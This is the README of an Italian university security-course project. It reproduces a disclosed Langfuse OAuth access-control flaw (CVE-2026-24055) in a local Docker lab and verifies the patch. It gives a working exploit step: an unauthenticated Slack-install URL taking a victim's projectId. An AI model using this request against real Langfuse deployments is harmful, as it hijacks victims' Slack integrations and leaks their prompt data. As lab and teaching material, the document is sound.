
Progetto del corso Sicurezza Web e delle Applicazioni — Gruppo 06, classe NT213.Q21.ANTT
Il progetto riproduce una vulnerabilità di sicurezza reale già divulgata (CVE-2026-24055) sulla piattaforma Langfuse — un endpoint OAuth che consente a un attaccante di assumere il controllo della connessione di un workspace Slack al progetto di un'altra persona senza effettuare l'accesso.
Il progetto comprende: la configurazione di un ambiente Docker che simula sia la versione vulnerabile che quella corretta, l'esecuzione dell'exploit passo dopo passo e la verifica che la patch funzioni correttamente. Attraverso questo si esercita l'analisi delle vulnerabilità di Access Control nel flusso OAuth, una competenza applicabile direttamente durante la costruzione o l'audit di sistemi di autenticazione web.
Competenze dimostrate: analisi del flusso OAuth2, Docker, lettura di security advisory, redazione di report tecnici, security testing.
CVE-2026-24055 è una vulnerabilità di Improper Access Control in Langfuse dalla versione 3.89.0 alla 3.146.0.
L'endpoint /api/public/slack/install non richiede autenticazione, consentendo all'attaccante di associare il proprio workspace Slack a qualsiasi progetto semplicemente conoscendo il projectId. Quando la vittima crea un'automazione che invia notifiche su Slack, l'intero contenuto del prompt viene divulgato al workspace dell'attaccante.
| Attributo | Dettaglio |
|---|---|
| CWE | CWE-284 — Improper Access Control |
| Versioni interessate | Langfuse 3.89.0 – 3.146.0 |
| Versione corretta | Langfuse 3.147.0 |
| GitHub Advisory | GHSA-pvq7-vvfj-p98x |
| NVD | CVE-2026-24055 |

| Strumento | Versione minima |
|---|---|
| Docker Desktop | 24.0+ |
| Docker Compose | v2 |
| Git | qualsiasi |
| RAM | 8 GB |
L'API di Slack consente di utilizzare
http://localhost:3000come Redirect URL.
http://localhost:3000
cd vulnerable
cp .env.example .env
Apri il file .env, inserisci i seguenti valori:
NEXTAUTH_URL=http://localhost:3000
SLACK_CLIENT_ID=<your-slack-client-id>
SLACK_CLIENT_SECRET=<your-slack-client-secret>
SLACK_STATE_SECRET=any-random-string
docker compose up -d
Verifica che i container siano pronti:
docker compose ps
Attendi circa 30–60 secondi. Tutti i container devono essere nello stato
Up (healthy).
Accedi a http://localhost:3000:
Account Victim
Account Attacker
Sul browser dell'attaccante (senza effettuare l'accesso a Langfuse), visita:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
Il flusso che si verifica:
Accedi con l'account victim:
Prompt created / updated / deletedSlack → seleziona il canalecd ../vulnerable
docker compose down
cd ../patched
cp .env.example .env
# Inserisci gli stessi valori della sezione vulnerable
docker compose up -d
Prova senza effettuare l'accesso:
http://localhost:3000/api/public/slack/install?projectId=<any-project-id>
Risultato atteso — HTTP 401:
{ "error": "Authentication required" }
Prova effettuando l'accesso come attacker, usando il projectId della vittima:
http://localhost:3000/api/public/slack/install?projectId=<victim-project-id>
Risultato atteso — HTTP 403:
{ "error": "You do not have permission to configure Slack for this project" }
La vulnerabilità è stata completamente corretta.
docker compose down
Se desideri eliminare tutti i dati (volumi):
docker compose down -v
cve-2026-24055/
├── README.md ← questo file
├── vulnerable/
│ ├── docker-compose.yml ← Langfuse v3.146.0 (vulnerabile)
│ └── .env.example
└── patched/
├── docker-compose.yml ← Langfuse v3.147.0 (corretta)
└── .env.example